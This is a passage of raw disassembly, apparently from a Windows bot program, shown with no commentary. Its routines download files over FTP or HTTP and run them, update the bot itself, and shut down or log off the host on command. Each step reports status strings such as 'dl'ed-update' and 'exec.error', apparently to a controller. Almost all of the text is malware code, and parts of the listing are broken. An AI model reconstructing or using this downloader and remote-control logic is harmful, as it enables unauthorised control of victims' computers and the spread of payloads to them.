[esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F40 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F40 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F40 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F40 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F40 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C74 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C74 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C74 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69B9B8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013E3 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+44h+arg_120], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_444ED8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+54h+arg_110], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8085 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F40 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8085 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+8Ch+var_3C] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_4498A6 test al, al jz short loc_41DFB6 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498EF test al, al jz short loc_41DFCE push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD80 call sub_401E79 push 1 mov byte_4E8E54, 0 nop call near ptr 77C39E7Eh loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8EAB call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FDC lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 6 nop call near ptr 2890754h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 5 call near ptr 2890754h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 4 call near ptr 2890754h nop loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call 